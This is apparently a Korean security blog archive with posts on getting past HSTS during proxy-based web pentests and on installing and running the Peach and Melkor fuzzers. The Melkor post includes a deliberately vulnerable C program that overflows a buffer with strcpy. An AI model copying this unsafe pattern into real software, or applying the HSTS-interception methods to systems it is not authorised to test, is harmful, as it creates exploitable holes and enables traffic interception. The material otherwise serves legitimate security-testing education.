11/27/2015

[WEB HACKING] HSTS(Http Strict Transport Security) 적용 Site 에 대한 웹해킹/침투테스트


웹 해킹을 진행 중 SSL이 결려있는 https 에 대한 침투테스트를 진행할 때가 있습니다.
대부분의 site 는 SSL(https)만 적용되어 Proxy를 통해 쉽게 테스트가 가능하지만 개인정보나 중요정보를 다루는 서버는 HSTS 기술이 적용되어 있습니다.

이 HSTS는 기존 HTTPS 보다 더 강화된 형태의 보안 정책이며 Proxy 사용 시 브라우저단에서 HSTS로 인해 요청처리를 하지 않아 테스트 진행 시 불편한점이 상당히 많습니다.

그래서 이 HSTS가 무엇인지, 이것을 피해 테스트를 진행하기 위해 어떤 방법을 생각하고 사용하였는지에 대한 이야기로 풀어나갈까 합니다.



HSTS(Http Strict Transport Security)란?

Wikipedia에서 제공되는 내용을 보면 웹사이트내 Session Hijacking, agains downgrade attack 등에 대응하기 위하여 만들어진 보안정책 메커니즘입니다. 간단히 두면 SSL를 안전하게 처리하기 위한 정책이라고 볼 수 있죠.

HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect secure HTTPS websites against downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections,[1] and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.

The HSTS Policy[2] is communicated by the server to the user agent via an HTTP response header field named "Strict-Transport-Security". HSTS Policy specifies a period of time during which the user agent shall access the server in a secure-only fashion. -Wikipedia-

이 HSTS 기술은 IETF에서 Proposed Standard로 승인되었고 보안연결이 지정된 사이트만 접근할 수 있도록 서버가 설정하는 보안 메커니즘입니다. 이 기술을 통해서 HTTPS가 아닌 일반적인 URL 접근시에도 강제로 HTTPS로 돌려지는 기능또한 수행되고 있지요.


이제 이런 HSTS가 적용된 사이트에 Proxy를 통해 접근하려고 하면 아래와 같이 Error가 발생하며 연결에 실패합니다.

*******는 유효하지 않은 보안 인증서를 사용합니다. 발급자 인증서를 알 수 없기 때문에 인증서를 신뢰할 수 없습니다. 서버가 적절한 중간 인증서를 보내지 않을 수 있습니다. 가져오기를 하기 위해 추가적인 루트 인증서가 필요할 수 있습니다. (오류 코드: sec_error_unknown_issuer)

일반적인 경우에는 공격의 위험성이 있는 네트워크를 식별하여 사용자에게 좀 더 높은 수준의 보안을 제공하는것 이지만
보안분석가의 입장에서 침투 테스트 시 귀찮은 가림막이 됩니다.. :(


1. FireFox Addon 인 Live HTTP Header 기능 활용

각 브라우저 별로 유사한 형태의 Addon이 있을것으로 생각됩니다. 전 Firefox가 메인 브라우저이기 때문에 Firefox addon인 Live HTTP Header를 사용하여 테스트를 진행합니다.

Mozilla Addon에서 간단하게 설치가 가능하며, Proxy가 아닌 브라우저단에서 확인하기 때문에 SSL 기술을 쉽게 우회하여 테스트를 진행할 수 있습니다.

2. HSTS를 지원하지 않는 구버전 Web Browser 를 이용한 테스트

거의 1번의 방법으로 테스트를 하였지만, 불편한점이 많아 자료를 찾아보고 생각해낸 방법은 구버전의 웹 브라우저를 사용하는 방법입니다.

HSTS로 인해 테스트가 불편한 사람들도 다수 이 방법을 적용하는듯 합니다.

일단 구버전의 Firefox(3.0정도..?) 를 다운로드 받아 설치합니다. 구버전 사용은 보안적인 이슈가 있을 가능성이 높기 때문에 VM에서 별도로 설치하여 Proxy를 분석 PC로 돌려 사용하는 방법으로 해볼까합니다.


일단 가상환경(VM)에서 구버전의 웹 브라우저(Firefox 3.0) 은 다운로드/설치합니다.
아주 옛날 버전의 브라우저는 HSTS를 지원하지 않기 때문에 Server에서 HSTS 설정이 되어있어도 처리되지 않고 사용이 가능합니다.

여기서 VM에서 Burp or Fiddler 등을 설치해서 테스트하시면 바로 하면되고, 메인 분석 PC에서 테스트를 하려면 Proxy 주소를 분석 PC 주소로 맞춰줍니다. 그리고 Burp등에서 원격지에서 넘어온 데이터를 받을 수 있게 설정하고 테스트를 진행하면 HSTS의 구속 없이 취약점 진단이 가능합니다.

3. CA(인증서) 설치

가장 확실한 방법입니다. 웹 브라우저에 프록시 툴에서 제공하는 CA, 또는 직접 구성한 CA를 로컬단에서 직접 인증서로 설치해주면 웹 브라우저는 프록시 서버를 정상적인 서버로 판단하고 에러가 발생하지 않습니다.

Burp, ZAP 인증서



Share: | Coffee Me:

11/26/2015

[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface)

찾다보니 Peach Fuzzer에 여러가지 기능 중 GUI 모드를 지원하는 기능이 있었습니다.
원래 Windows Base 로 만들어졌던 터라, ./peach 파일에 대해서만 신경썼지 다른건 좀 못보고 있었는데요.



Peach Fuzzer 디렉토리 하단에 PeachFuzzBang.exe와 PeachValidator.exe 가 있습니다.
공식 홈페이지에서는 이렇게 설명하고 있네요.

Peach Fuzz Bang

Peach Fuzz Bang is a GUI file fuzzing tool. This tool is cross-platform and allows for quickly fuzzing data consumers.

Peach Validator

Peach Validator is a GUI program used to visual validate the loading of data into a data model.

Fuzz Bang은 GUI 기반의 Fuzzing 도구, Validator는 가시적인 형태로 data Model에 대해 볼 수 있는 툴 입니다.

일단 mono를 이용하여 Peach Fuzz Bang을 실행합니다.
(리눅스에서 Peach Fuzz Bang은 Mono를 통해 실행하기 때문에 이전에 설치, 분석글 같이 하신분들은 자연스레 설치되어 있을겁니다. / 윈도우는 그냥 열면되요)

#mono PeachFuzzBang.exe

열면 간단한 소개멘트와 심플한 디자인의 툴이 나타납니다.

Peach 3 - Fuzz Bang is a graphical file fuzzer.  It can be configured as a simple dumb fuzzer or with a smart Peach Pit definition.  The graphical interface provides an easy way to configure and run a file fuzzing instance.

Start using Fuzz Bang by configuring the required information in the General and Debugger tabs.  Then click "Start Fuzzing"!  It's just that easy!

메뉴는 Intro, General, Debugger, Output, About 으로 구성되어 있고 눌러보시면 쉽게 어떤 내용인지 파악이 갑니다.
General에서 Fuzzing에 사용할 데이터를 세팅하고 Debugger에서 테스트를 진행할 프로그램을 설정합니다.

저는 간단하게 General에서 설정한 이미지 데이터를 Gedit으로 여는 형태의 테스트를 해볼까 하여 gedit을 타겟 프로그램으로 주었습니다.

Executable: /usr/bin/gedit
Arguments: fuzzed.png

실행하면, 열심히 gedit을 열었다 닫았다 하며 테스트를 진행합니다.



결과 파일은 Logs/ 하단에 위치하게 됩니다.

http://community.peachfuzzer.com/v3/Publisher.html

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer
[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit 
[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface) 

Reference

http://community.peachfuzzer.com
Share: | Coffee Me:

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit

Peach Fuzzer를 이용한 프로그램 Fuzzing 에 대한 내용을 다룹니다.
설치 방법은 아래 포스팅 참고하셔서 진행하시면 됩니다.

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer

Peach Fuzzer는 여러 플랫폼을 공통으로 지원하는 Fuzzer 입니다.
파일로만 봐도 Linux, Windows , MacOS까지 두루두루 다 지원합니다.
# ls
Aga.Controls.dll                    PacketDotNet.dll                    Peach.Core.Test.OS.Windows.dll              PeachLinuxCrashHandler.exe.config  SuperSocket.SocketBase.dll
Be.Windows.Forms.HexBox.dll         Peach.Core.ComContainer.exe         Peach.Core.Test.OS.Windows.dll.mdb          PeachLinuxCrashHandler.exe.mdb     SuperSocket.SocketBase.pdb
Be.Windows.Forms.HexBox.dll.config  Peach.Core.ComContainer.exe.config  Peach.Core.Test.OS.Windows.xml              PeachMinset.exe                    SuperWebSocket.dll
CrashableServer                     Peach.Core.ComContainer.exe.mdb     Peach.Core.Test.dll                         PeachMinset.exe.config             SuperWebSocket.pdb
CrashingFileConsumer                Peach.Core.OS.Linux.dll             Peach.Core.Test.dll.mdb                     PeachMinset.exe.mdb                bblocks32.so
CrashingProgram                     Peach.Core.OS.Linux.dll.mdb         Peach.Core.Test.xml                         PeachNetworkFuzzer.exe             cedge32.so
Ionic.Zip.dll                       Peach.Core.OS.Linux.xml             Peach.Core.WindowsDebugInstance.exe         PeachNetworkFuzzer.exe.config      gdb
IronPython.Modules.dll              Peach.Core.OS.OSX.dll               Peach.Core.WindowsDebugInstance.exe.config  PeachNetworkFuzzer.exe.mdb         log4net.dll
IronPython.dll                      Peach.Core.OS.OSX.dll.mdb           Peach.Core.WindowsDebugInstance.exe.mdb     PeachValidator.exe                 nunit.framework.dll
IronRuby.Libraries.Yaml.dll         Peach.Core.OS.OSX.xml               Peach.Core.dll                              PeachValidator.exe.config          peach
IronRuby.Libraries.dll              Peach.Core.OS.Windows.dll           Peach.Core.dll.mdb                          PeachValidator.exe.mdb             peach-3.1.124-linux-x86-debug.zip
IronRuby.dll                        Peach.Core.OS.Windows.dll.mdb       Peach.Core.xml                              PeachXmlGenerator.exe              peach.xsd
Lib                                 Peach.Core.OS.Windows.xml           Peach.exe                                   PeachXmlGenerator.exe.config       pin
Microsoft.Dynamic.dll               Peach.Core.Test.OS.Linux.dll        Peach.exe.config                            PeachXmlGenerator.exe.mdb          samples
Microsoft.Scripting.Metadata.dll    Peach.Core.Test.OS.Linux.dll.mdb    Peach.exe.mdb                               Renci.SshNet.dll                   samples_png
Microsoft.Scripting.dll             Peach.Core.Test.OS.Linux.xml        PeachFuzzBang.exe                           SharpPcap.dll                      template.xml
NLog.config.template                Peach.Core.Test.OS.OSX.dll          PeachFuzzBang.exe.config                    SharpPcap.dll.config               testFile.xml
NLog.dll                            Peach.Core.Test.OS.OSX.dll.mdb      PeachFuzzBang.exe.mdb                       SuperSocket.Common.dll
Newtonsoft.Json.dll                 Peach.Core.Test.OS.OSX.xml          PeachLinuxCrashHandler.exe                  SuperSocket.Common.p

Peach Fuzzer를 이용하여 Application Fuzzing 하기


PeachFuzzer는 미리 타겟 프로그램과 설정을 xml 파일로 지정하고, 해당 XML 파일을 Peach의 인자값으로 넘겨 Fuzzing 을 수행하게 됩니다.



XML에서 사용되는 속성은 아래와 같습니다.

Data Model: defines the protocol or file format we want to fuzz.
State Model: used for controlling the flow of the fuzzing process.
Publisher: I/O interface that we can use to read data from a file/socket, write data to a file/socket, etc.
Mutators: takes an existing input test case and changes it a little bit to make it invalid.
Agents: the Peach process that needs to run on the target system, which is used to restart the fuzzed server if it crashes.
Monitors: are used to capture the network traffic, attaching a debugger to the target process, etc.
Logger: saves the crashes and input test cases into a file for later analysis.

1. Fuzzing 을 위한 XML 파일 작성

# vim noon.xml

<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

 <DataModel name="TestTemplate">
  <String name="TheString" value="Hello World!" />
 </DataModel>

 <StateModel name="State" initialState="Initial">
  <State name="Initial">

   <Action name="SendValue1" type="output">
    <DataModel ref="TestTemplate" />
   </Action>
   
   <Action name="SendValue2" type="output">
    <DataModel ref="TestTemplate" />
   </Action>
   
  </State>
 </StateModel>

 <Agent name="LocalAgent">
  <Monitor class="LinuxDebugger">
   <Param name="Executable" value="./CrashableServer" />
   <Param name="Arguments" value="127.0.0.1 4244" />
  </Monitor>
 </Agent>

 <Test name="Default">
  <Agent ref="LocalAgent" />

  <StateModel ref="State"/>
  <Publisher class="Tcp">
   <Param name="Host" value="127.0.0.1" />
   <Param name="Port" value="8080" />
  </Publisher>
  <Logger class="Filesystem">
   <Param name="Path" value="Logs" />
  </Logger>
 </Test>
</Peach>
<!-- end -->

2. peach 명령을 통해 Fuzzing 실행


# ./peach --debug noon.xml

[[ Peach v3.1.124.0
[[ Copyright (c) Michael Eddington

[*] Test 'Default' starting with random seed 21414.
Peach.Core.Agent.Agent StartMonitor: Monitor LinuxDebugger
Peach.Core.Agent.Agent SessionStarting: Monitor
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger Wrote gdb commands to '/tmp/gdb.2gN1C8/gdb.cmd'
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger _Start(): Starting gdb process
Establishing the listener...

establish listener error: 98
[Inferior 1 (process 11801) exited with code 03]

[R1,-,-] Performing iteration
Peach.Core.Engine runTest: Performing recording iteration.
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger _Start(): Starting gdb process
Establishing the listener...

establish listener error: 98

Program received signal SIGINT, Interrupt.
0xf7ea8794 in _exit () from /lib/i386-linux-gnu/libc.so.6
Crash detected, running exploitable.
  File "/home/noon/Noon/Peach_Fuzzer/gdb/exploitable/exploitable.py", line 170
    print "\n".join(disas[max(pos-5,0):pos+5])
             ^
SyntaxError: invalid syntax
Peach.Core.Dom.Action Run: Adding action to controlRecordingActionsExecuted
Peach.Core.Dom.Action ActionType.Output
Peach.Core.Publishers.TcpClientPublisher start()
Peach.Core.Publishers.TcpClientPublisher open()
Peach.Core.Publishers.TcpClientPublisher output(12 bytes)
Peach.Core.Publishers.TcpClientPublisher

00000000   48 65 6C 6C 6F 20 57 6F  72 6C 64 21               Hello World!  

Peach.Core.Dom.Action Run: Adding action to controlRecordingActionsExecuted
Peach.Core.Dom.Action ActionType.Output
Peach.Core.Publishers.TcpClientPublisher output(12 bytes)
Peach.Core.Publishers.TcpClientPublisher

00000000   48 65 6C 6C 6F 20 57 6F  72 6C 64 21               Hello World!  

Peach.Core.Publishers.TcpClientPublisher close()
Peach.Core.Publishers.TcpClientPublisher Shutting down connection to 127.0.0.1:8080
Peach.Core.Publishers.TcpClientPublisher Read 1732 bytes from 127.0.0.1:8080
Peach.Core.Publishers.TcpClientPublisher

00000000   48 54 54 50 2F 31 2E 31  20 32 30 30 20 4F 4B 0D   HTTP/1.1 200 OK·
00000010   0A 43 6F 6E 6E 65 63 74  69 6F 6E 3A 20 63 6C 6F   ·Connection: clo
00000020   73 65 0D 0A 43 61 63 68  65 2D 63 6F 6E 74 72 6F   se··Cache-contro
00000030   6C 3A 20 6E 6F 2D 63 61  63 68 65 0D 0A 50 72 61   l: no-cache··Pra
00000040   67 6D 61 3A 20 6E 6F 2D  63 61 63 68 65 0D 0A 43   gma: no-cache··C
00000050   61 63 68 65 2D 63 6F 6E  74 72 6F 6C 3A 20 6E 6F   ache-control: no
00000060   2D 73 74 6F 72 65 0D 0A  58 2D 46 72 61 6D 65 2D   -store··X-Frame-
00000070   4F 70 74 69 6F 6E 73 3A  20 44 45 4E 59 0D 0A 0D   Options: DENY···
00000080   0A 3C 68 74 6D 6C 3E 3C  68 65 61 64 3E 3C 74 69   ·<html><head><ti
00000090   74 6C 65 3E 42 75 72 70  20 53 75 69 74 65 20 46   tle>Burp Suite F
000000A0   72 65 65 20 45 64 69 74  69 6F 6E 3C 2F 74 69 74   ree Edition</tit
000000B0   6C 65 3E 0D 0A 3C 73 74  79 6C 65 20 74 79 70 65   le>··<style type
000000C0   3D 22 74 65 78 74 2F 63  73 73 22 3E 0D 0A 62 6F   ="text/css">··bo
000000D0   64 79 20 7B 20 62 61 63  6B 67 72 6F 75 6E 64 3A   dy { background:
000000E0   20 23 64 65 64 65 64 65  3B 20 66 6F 6E 74 2D 66    #dedede; font-f
000000F0   61 6D 69 6C 79 3A 20 41  72 69 61 6C 2C 20 73 61   amily: Arial, sa
00000100   6E 73 2D 73 65 72 69 66  3B 20 63 6F 6C 6F 72 3A   ns-serif; color:
00000110   20 23 34 30 34 30 34 32  3B 20 2D 77 65 62 6B 69    #404042; -webki
00000120   74 2D 66 6F 6E 74 2D 73  6D 6F 6F 74 68 69 6E 67   t-font-smoothing
00000130   3A 20 61 6E 74 69 61 6C  69 61 73 65 64 3B 20 7D   : antialiased;
...snip..

./Logs/각각 xml 이름의 폴더 하단에 log 데이터가 저장됩니다.
Burp Suite 를 켜놓고, Burp Port 에 대해 테스트를 진행해서, burp에도 데이터가 굉장히 많이 넘어왔더군요..

이런 형태로, XML을 지정하고 peach를 통해 xml을 파싱하여 Fuzzing 작업이 동작합니다.
TCP/WEB 이외에도 여러가지 포맷을 지원하고, 플랫폼 또한 영향받지 않아 넓은 형태의 Fuzzing 작업을 수행할 수 있네요.

Peach Fuzzer XML 문법(Syntax)

초반에 진행하던 중 가장 막힌 부분이 Peach Fuzzer 만의 문법(?)을 익히는게 어려웠습니다.
XML 문법을 따라가지만, 각각 속성 별 의미가 다르고 타겟이나 플랫폼에 따라 다양한 형태의 속성 값들을 사용해야 하기 때문에 어느정도 Tutorial 문서에 많이 의존할 수 밖에 없었습니다.

peach fuzzer 설치 경로 하단의 samples 디렉토리 안 xml 파일들을 보시면 대략적인 구조는 이해가 가실 겁니다.

크게 분류를 나누어 보자면

General Conf : Fuzzing 자체 전반적인 설정
Data Modeling : 데이터 모델링
State Modeling : 상태 모델링 
Agents : Fuzzing Data 수집을 위한 Agent 에 대한 내용입니다.
Test : 테스트 Target에 대한 내용입니다.

로 구성됩니다.
General Conf, Data Modeling,State Modeling 이 3부분은 Sample 파일이나 Tutorial 보시면 좀 편합니다.

주로 테스트에서 다뤄야할 부분은 Agents, Test 부분인데요.

일단 Agents 부터 볼까합니다.
Agents는 Fuzzing 되는 데이터를 수집하고 분석하는 부분을 나타내며, 크게 각각 OS별 Monitor로 구성되어 있습니다.
Windows Monitors
    Windows Debugger Monitor
    Cleanup Registry Monitor
    Page Heap Monitor
    Popup Watcher Monitor
    Windows Service Monitor
OS X Monitors
    OS X Crash Wrangler Monitor
    OS X Crash Reporter Monitor
Linux Monitors
    Linux Crash Monitor
Cross Platform Monitors
    CanaKit Relay Monitor
    Cleanup Folder Monitor
    IpPower9258 Monitor
    Memory Monitor
    Pcap Network Monitor
    Ping Monitor
    Process Launcher Monitor
    Process Killer Monitor
    Save File Monitor
    Socket Listener Monitor
    SSH Monitor
    SSH Downloader Monitor
    Vmware Control Monitor

요기서 LinuxCrash Monitor를 기준으로 보면 아래와 같이 <Agent> 내 <Monitor>를 통해 구성됩니다.

<Agent name="Local">
        <Monitor class="LinuxCrashMonitor"/>

        <Monitor class="Process">
                <Param name="Executable" value="./CrashingProgram" />  <!-- 수집프로그램 -->
                <Param name="StartOnCall" value="Start" />   <!-- ??  -->
                <Param name="Arguments" value="fuzzed.bin" />  <!-- 인자값 -->
        </Monitor>
</Agent>
제가 위에서 사용했던건 LocalAgent의 LinuxDebugger를 사용했고, 이친구는 수집서버 지정 후 인자값으로 서버에 필요한 파라미터를 넘겼습니다.

<Agent name="LocalAgent">
  <Monitor class="LinuxDebugger">
   <Param name="Executable" value="./CrashableServer" />
   <Param name="Arguments" value="127.0.0.1 4244" />
  </Monitor>
</Agent>
이런식으로 각각 OS,상황에 맞는 Agent와 Monitor를 지정하여 세팅합니다.

두번째는 Test 속성인데요.
테스트는 2가지로 나누어 볼 수 있습니다.
    Test - Configure a StateModel along with a combination of Publishers, Loggers, Agents, etc.
        Publishers - I/O interface for interacting with the fuzzing target.
        Loggers - Method of collecting fuzzing information used to analyze Faults.

Publishers 는 IO 입출력 관련하여 target에 fuzzing 될 데이터를 지정하는 부분이고
Logger 를 Fuzzing을 통해 얻어진 결과를 어떻게 처리할 지 지정하는 부분입니다.

여기서 Publisher 종류는 보면 아래와 같습니다.

Publishers
    Com
    Console
    ConsoleHex
    File
    FilePerIteration
    Http
    Null
    RawEther
    RawIPv4
    RawIPv6
    RawV4
    RawV6
    Remote
    TcpClient
    TcpListener
    Udp
    WebService

각각 종류 별 Publishers를 지원하고, XML 파일에서 지정하여 사용 가능합니다.
제가 사용했던 부분을 보면 아래와 같네요.

<Test name="Default">
  <Agent ref="LocalAgent" />

  <StateModel ref="State"/>
  <Publisher class="Tcp">
   <Param name="Host" value="127.0.0.1" />
   <Param name="Port" value="8080" />
  </Publisher>
  <Logger class="Filesystem">
   <Param name="Path" value="Logs" />
  </Logger>
 </Test>
일단 해당 Test 속성에서 Agent를 아까 만들어둔 LocalAgent로 지정하고 Publisher는 TCP로 지정하였습니다.
그다음 파라미터로 테스트를 위한 Burp의 IP/Port 를 지정하였죠.

추가로 Logger는 Filesystem 클래스로 지정하고, Path라는 파라미터에 Logs 디렉토리를 지정해 주었습니다.
이로써 Fuzzing 된 데이터는 실행 디렉토리 하단 Logs 디렉토리에 저장되게 되지요.

제 글만 보고 Peach Fuzzer를 잘 다룰수는 없다고 생각됩니다.. 생각보다 복잡한 Fuzzer이지만, 활용성이 넓기 때문에 잘 이용하면 되게 좋은 툴로 보이네요.

Guide Page 첨부하니, 참고하면서 분석해보세요 : )
http://community.peachfuzzer.com/v3/PeachPit.html

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer
[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit 
[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface) 

Reference

http://community.peachfuzzer.com
Share: | Coffee Me:

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer

취약점을 찾기 위해서 Fuzzing 이라는 반복적이고 재미없는 작업을 해야하는데, 이를 도와는 Fuzzer 들로 인해 좀 더 쉽게 취약 포인트를 찾아나갈 수 있습니다.
여러 Fuzzer 중 이번엔는 약간 큰 Peach Fuzzer(Fuzzing Framework)에 대한 이야기를 할까 합니다.


Peach Fuzzer 다운로드(Download Peach Fuzzer) 


http://community.peachfuzzer.com/
 -> 각 OS에 맞는 peachfuzzer 다운로드 페이지 이동



다운로드 후 압축을 해제하면 여러 파일이 나타나고, linux 에서는 peach 파일이 Main 파일이 됩니다.

Peach Fuzzer 실행에 필요한 Package 설치(Install Package for Peach Fuzzer)


다운로드 후 바로 peach 파일 실행 시 mono 명령이 없다고 에러가 발생합니다.
제 pc에서 mono를 사용하지 않았기 때문에 에러가 발생한 것 같습니다. 일단 ./peach 파일의 코드를 확인해보면 아래와 같습니다.

#!/bin/bash

DIRNAME="`dirname ${0}`"
DEBUG=""
case "$*" in
  *--debug*)
    DEBUG="--debug"
    ;;
esac

mono --gc=sgen ${DEBUG} ${DIRNAME}/Peach.exe $@
mono를 통해 exe 를 실행하네요. 일단 mono가 필요하기 때문에 apt-get 을 통해 설치해줍니다.

# apt-get install mono-complete

설치하고 실행 시 정상적으로 작동합니다.

# ./peach 

[[ Peach v3.1.124.0
[[ Copyright (c) Michael Eddington
This is the Peach Runtime.  The Peach Runtime is one of the many ways
to use Peach XML files.  Currently this runtime is still in development
but already exposes several abilities to the end-user such as performing
simple fuzzer runs and performing parsing tests of Peach XML files.

Please submit any bugs to https://forums.peachfuzzer.com.

Syntax:

  peach -a channel
  peach -c peach_xml_file [test_name]
  peach [--skipto #] peach_xml_flie [test_name]
  peach -p 10,2 [--skipto #] peach_xml_file [test_name]
  peach --range 100,200 peach_xml_file [test_name]
  peach -t peach_xml_file

  -1                         Perform a single iteration
  -a,--agent                 Launch Peach Agent
  -c,--count                 Count test cases
  -t,--test xml_file         Validate a Peach XML file
  -p,--parallel M,N          Parallel fuzzing.  Total of M machines, this
                             is machine N.
  --debug                    Enable debug messages. Usefull when debugging
                             your Peach XML file.  Warning: Messages are very
                             cryptic sometimes.
  --trace                    Enable even more verbose debug messages.
  --seed N                   Sets the seed used by the random number generator
  --parseonly                Test parse a Peach XML file
  --makexsd                  Generate peach.xsd
  --showenv                  Print a list of all DataElements, Fixups, Monitors
                             Publishers and their associated parameters.
  --showdevices              Display the list of PCAP devices
  --analyzer                 Launch Peach Analyzer
  --skipto N                 Skip to a specific test #.  This replaced -r
                             for restarting a Peach run.
  --range N,M                Provide a range of test #'s to be run.
  -D/define=KEY=VALUE        Define a substitution value.  In your PIT you can
                             ##KEY## and it will be replaced for VALUE.
  --config=FILENAME          XML file containing defined values


Peach Agent

  Syntax: peach -a channel

  Starts up a Peach Agent instance on this current machine.  User must provide
  a channel/protocol name (e.g. tcp).

  Note: Local agents are started automatically.

Performing Fuzzing Run

  Syntax: peach peach_xml_flie [test_name]
  Syntax: peach --skipto 1234 peach_xml_flie [test_name]
  Syntax: peach --range 100,200 peach_xml_flie [test_name]

  A fuzzing run is started by by specifying the Peach XML file and the
  name of a test to perform.

  If a run is interupted for some reason it can be restarted using the
  --skipto parameter and providing the test # to start at.

  Additionally a range of test cases can be specified using --range.

Performing A Parellel Fuzzing Run

  Syntax: peach -p 10,2 peach_xml_flie [test_name]

  A parallel fuzzing run uses multiple machines to perform the same fuzzing
  which shortens the time required.  To run in parallel mode we will need
  to know the total number of machines and which machine we are.  This
  information is fed into Peach via the "-p" command line argument in the
  format "total_machines,our_machine".

Validate Peach XML File

  Syntax: peach -t peach_xml_file

  This will perform a parsing pass of the Peach XML file and display any
  errors that are found.

Debug Peach XML File

  Syntax: peach -1 --debug peach_xml_file

  This will perform a single iteration (-1) of your pit file while displaying
  alot of debugging information (--debug).  The debugging information was
  origionally intended just for the developers, but can be usefull in pit
  debugging as well.

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer
[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit 
[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface) 

Reference

http://community.peachfuzzer.com
Share: | Coffee Me:

11/25/2015

[SYSTEM HACKING] Melkor ELF(Binary) Fuzzer 설치 및 사용법(Install and Usage)

예전부터 간간히 사용하던 Linux Base Fuzzer에 대한 이야기입니다.
Melkor라는 이 Fuzzer는 Linux 시스템에서 EFL 파일에 대한 Fuzzing 을 위한 툴이고, 간단한 사용법에 성능도 괜찮은 편이라 공유드리네요.


Melkor 설치하기(Install Melkor)

Melkor는 github를 통해 배포되고 있습니다. git 명령으로 일단 clone을 생성합니다.

# git clone https://github.com/IOActive/Melkor_ELF_Fuzzer.git

다운로드 되면 Clone 디렉토리로 접근합니다.

# cd Melkor_ELF_Fuzzer/
# ll

합계 228
drwxr-xr-x  8 root root   4096 11월 24 18:07 .git
-rw-r--r--  1 root root   1165 11월 24 18:07 AUTHOR.txt
-rw-r--r--  1 root root   1334 11월 24 18:07 BUGS.txt
-rw-r--r--  1 root root  35147 11월 24 18:07 LICENSE.txt
-rw-r--r--  1 root root   2072 11월 24 18:07 Makefile
-rw-r--r--  1 root root   7472 11월 24 18:07 README.txt
-rw-r--r--  1 root root    822 11월 24 18:07 TODO.txt
drwxr-xr-x  2 root root   4096 11월 24 18:07 docs
-rwxr-xr-x  1 root root 136264 11월 24 18:28 melkor
drwxr-xr-x  2 root root   4096 11월 24 18:28 src
drwxr-xr-x  2 root root   4096 11월 24 18:28 templates
-rwxr-xr-x  1 root root   2635 11월 24 18:07 test_fuzzed.sh
-rw-r--r--  1 root root    294 11월 24 18:07 win_test_fuzzed.bat


별도의 설정 과정은 필요없고, 바로 Make를 통해 빌드해주시면 됩니다.

# make
# make install


이렇게 간단하게 설치가 완료되었습니다.
명령 디렉토리 하단에 melkor으로 실행파일이 넘어갔기 때문에 bashrc의 alias나 별도의 명령 등록 없이 명령행에서 사용 가능합니다.

Melkor를 이용한 Fuzzing

일단 Usage를 보면 아래와 같습니다.
 |                                                   
 | M e l k o R v1.0 - An ELF File Format Fuzzer 
 | by nitr0us                                        
 |                                                   
                        '.       ;'       ';       .'
                         ;l,      x,     lc      ;c' 
                           ,x;     k;   ol     :o.   
                             dk.   ;0. :0.   ,k:     
                             .0k   dO.,;0:  .Ok      
                             .0O. cO: c dO. cOx      
                             .O0ocOo  l .kk;xOd      
                             .OO00O;  .  ;O00Ox      
                             .cxkkkx:xkolkkkxo.      
                               'kkkkkkxxxxxx'        
                               .xxxxxxxxxxxxx.       
                            .;;:xxxxxxxxxxxxo;;;.    
                              ..:dxxdo.ddddd:..      
                                 ddl:. .ldd:         
                                ldd.    .ddl         
                                .cdlc. .ldc.         
                                  :o.   .o:          
                                   ;     ;           
          ___  ___     ____    __       __ __      ___      ____      
          ||\\//||    ||       ||       || //     // \\     || \\     
     <<   || \/ ||    ||==     ||       ||<<     ((   ))    ||_//   >>
          ||    ||    ||___    ||__|    || \\     \\_//     || \\     

Usage: melkor <ELF metadata to fuzz> <ELF file template> [-n num -l likelihood -q]
    <ELF metadata to fuzz>:
        -a  Autodetect (fuzz according to e_type except -H [the header])
        -H  ELF header
        -S  Section Header Table
        -P  Program Header Table
        -D  Dynamic section
        -s  Symbols Table(s)
        -R  Relocations Table(s)
        -N  Notes section
        -Z  Strings Tables
        -A  All of the above (except -a [Autodetect])
        -B  All of the above (except -a [Autodetect] and -H [ELF Header])
    -n  Number of new fuzzed ELF files (orcs) to create (default: 5000)
    -l  Likelihood (given in % from 1-100) of the execution of each fuzzing rule (default: 10%)
    -q  Quiet mode (doesn't print to STDOUT every executed fuzzing rule)


Usage: melkor <ELF metadata to fuzz> <ELF file template> [-n num -l likelihood -q]

인자값으로 ELF 파일, Template 등이 들어갑니다.

기본으로 자동으로 분석하는 -a(autodetect)부터, 각각 ELF 헤더 설정이던, Symbols Table 설정이던 옵션을 주고
대상 타겟을 인자값으로 넘겨주면 분석을 시작합니다.

테스트를 위해 간단하게 BOF 취약 코드를 작성하였습니다.

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);

}

# melkor -a test
         ..-.--..        
       ,','.-`.-.`.      
      :.',;'     `.\.    
      ||//----,-.--\|    <<--- test
    \`:|/-----`-'--||'/  
     \\|:  <x>  <X>|:'   
      `||    " \   |!  _________________________________
